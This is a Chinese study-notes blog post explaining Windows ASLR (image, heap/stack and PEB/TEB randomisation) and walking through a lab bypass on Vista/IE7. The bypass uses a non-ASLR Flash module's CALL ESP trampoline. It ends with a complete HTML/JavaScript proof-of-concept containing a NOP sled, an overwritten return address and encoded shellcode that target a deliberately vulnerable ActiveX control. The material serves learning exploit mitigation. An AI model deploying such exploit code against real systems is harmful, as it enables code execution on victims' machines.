1. 程式人生 > 實用技巧 >漏洞學習筆記-017-ASLR簡介

漏洞學習筆記-017-ASLR簡介


ASLR技術的介紹和簡單攻擊思路

本文來源:Moeomu的部落格


ASLR技術簡介

縱觀前面介紹的所有漏洞利用方法都有著一個共同的特徵:都需要確定一個明確的跳轉地址。無論是JMP ESP等通用跳板指令還是Ret2Libc使用的各指令,我們都要先確定這條指令的入口點。所謂惹不起躲得起,微軟的ASLR(Address Space Layout Randomization)技術就是通過載入程式的時候不再使用固定的基址載入,從而干擾shellcode定位的一種保護機制

實際上ASLR的概念在Windows XP時代就已經提出來了,只不過XP上面的ASLR功能很有限,只是對PEB和TEB進行了簡單的隨機化處理,而對於模組的載入基址沒有進行隨機化處理,直到Windows Vista出現後,ASLR才真正開始發揮作用

與SafeSEH類似ASLR的實現也需要程式自身的支援和作業系統的雙重支援,其中程式的支援不是必需的

  • 支援ASLR的程式在它的PE頭中會設定IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE標識來說明其支援ASLR。微軟從Visual Studio 2005 SP1開始加入了/dynamicbase連結選項來幫我們完成這個任務,我們只需要在編譯程式的時候啟用/dynmicbase連結選項,編譯好的程式就支援ASLR了

映像隨機化

  • 映像隨機化是在PE檔案對映到記憶體時,對其載入的虛擬地址進行隨機化處理,這個地址是在系統啟動時確定的,系統重啟後這個地址會變化
  • 可能是出於相容性的考慮,微軟在系統中設定了映像隨機化的開關,使用者可以通過設定登錄檔中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionM anager\MemoryManagement\MoveImages
    的鍵值來設定映像隨機化的工作模式
    • 設定為0時映像隨機化將禁用
    • 設定為−1時強制對可隨機化的映像進行處理,無論是否設定IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE標識
    • 設定為其他值時為正常工作模式,只對具有隨機化處理標識的映像進行處理
    • 如果登錄檔中不存在MoveImages,大家可以手工建立名稱為MoveImages,型別為DWORD的值,並根據需要設定它的值

堆疊隨機化

  • 這項措施是在程式執行時隨機的選擇堆疊的基址,與映像基址隨機化不同的是堆疊的基址不是在系統啟動的時候確定的,而是在開啟程式的時候確定的,也就是說同一個程式任意兩次執行時的堆疊基址都是不同的,進而各變數在記憶體中的位置也就是不確定的
  • 將以下程式在VS2008中編譯,在XP和Vista上分別執行兩次,得到如下圖的結果
int main()
{
  char* heap = (char *)malloc(100);
  char stack[100];
  printf("Address of heap:%#0.4x\nAddress of stack:%#0.4x", heap, stack);
  getchar();

  return 0;
}


  • 可以看出,Vista上堆地址相去甚遠,而XP上完全相同

PEB和TEB的隨機化

  • 獲取當前程序的TEB和PEB很簡單,TEB存放在FS:0FS:[0x18]處,PEB存放在TEB偏移0x30的位置,可以通過如下程式碼來獲取當前程序的TEB和PEB
int main()
{
    unsigned int teb;
    unsigned int peb;

    __asm
    {
        mov eax, FS:[0x18]
        mov teb, eax
        mov eax, dword ptr[eax+0x30]
        mov peb, eax
    }
    printf("PEB:%#x\nTEB:%#x", peb, teb);
    getchar();

    return 0;
}
  • 在Vista上測試執行,結果如圖

  • 可以看出,效果非常差勁,PEB地址只隨機化了一個位元組,而且還是非常有規律,TEB基本沒變過

ASLR的缺陷

  • 不難看出,ASLR隨機化映像的時候,雖然模組的載入基址改變了,但是各個模組的入口點的低位兩個位元組是不會改變的,舉例:原基址:0x00401234,隨機化後基址變為:0x67291234,因此可以以此攻擊它

攻擊未啟用ASLR的模組

準備工作

實驗環境:Windows Vista SP0,IE7,Adobe Flash Player 9.0.124

  • 雖然書上要求使用9.0.262版本,但是實在是找不到,就以9.0.124來替代了,點此下載
  • 存在漏洞的OCX控制元件在之前的實驗中已經編譯了一個了,因此就使用那個了,點此下載,此控制元件ctrl class object id:ACA3927C-6BD1-4B4E-8697-72481279AAEC

步驟

  • 重啟系統檢視ASLR模組啟用情況

  • 實驗控制元件未啟用GS
  • 通過IE7載入POC頁面和Flash9k.ocx
  • 函式test存在棧溢位漏洞,目標是覆蓋函式的 返回地址
  • 因為Flash9k.ocx未啟用ASLR因此載入基址固定,可以在裡面搜尋合適的跳板指令跳轉到shellcode
  • IE7的DEP是關閉的,因此不考慮DEP的影響
  • 因為通過覆蓋函式返回地址實現攻擊,因此最佳的跳板指令是JMP ESP
  • 0x301D606B也是JMP ESP,執行後將會跳轉到字串的頭部,但是問題是6B 60 1D 30四個位元組正好構成一句彙編指令imul esp,dword ptr ds:[eax+0x1D],0x30,它將會把後兩個運算元相乘,隨後放到第一個運算元中,因此需要保持[eax+0x1D]的值是正確的,而目前eax並未指向有效地址,因此需要修復eax
  • 很可惜,沒有找到合適的修復eax的指令,換地址
  • 0x303911D3也是JMP ESP,但它組成的彙編程式碼將會同時讀取EC和EAX的內容,因此這兩個暫存器都需要修復,不可行,換指令
  • JMP ESP沒有,改用JMP ESI,地址0x3000DCD2中包含0,直接排除,地址0x302420C3最後一個位元組是retn,無法使用,排除,地址0x3028EE6E彙編程式碼將直接引起異常,排除,此指令也沒有合適的了,因此尋找其它合適指令
  • 位於地址0x300942F2CALL ESP貌似正合適,它也會將esp增加8個位元組正好避開了垃圾資料
  • 以下是改變以後的shellcode
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="160" height="260">
<param name="movie" value="1.swf" />
<param name="quality" value="high" />
<embed src="1.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="160" height="260">
</embed>
</object>

<object classid="clsid:ACA3927C-6BD1-4B4E-8697-72481279AAEC" id="test">
</object>

<script>
	var s = "\u9090";

	while (s.length < 54)
	{
		s += "\u9090";
	}

	s += "\u42F2\u3009";
	s += "\u9090\u9090";
	s += "\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u616B\u6F6F\u4D68\u7369\u8B61\u53c4\u5050\uff53\ufc57\uff53\uf857";

	test.test(s);
</script>

</body>
</html>
  • 如圖,重啟系統,shellcode執行正常,這意味著攻擊ASLR成功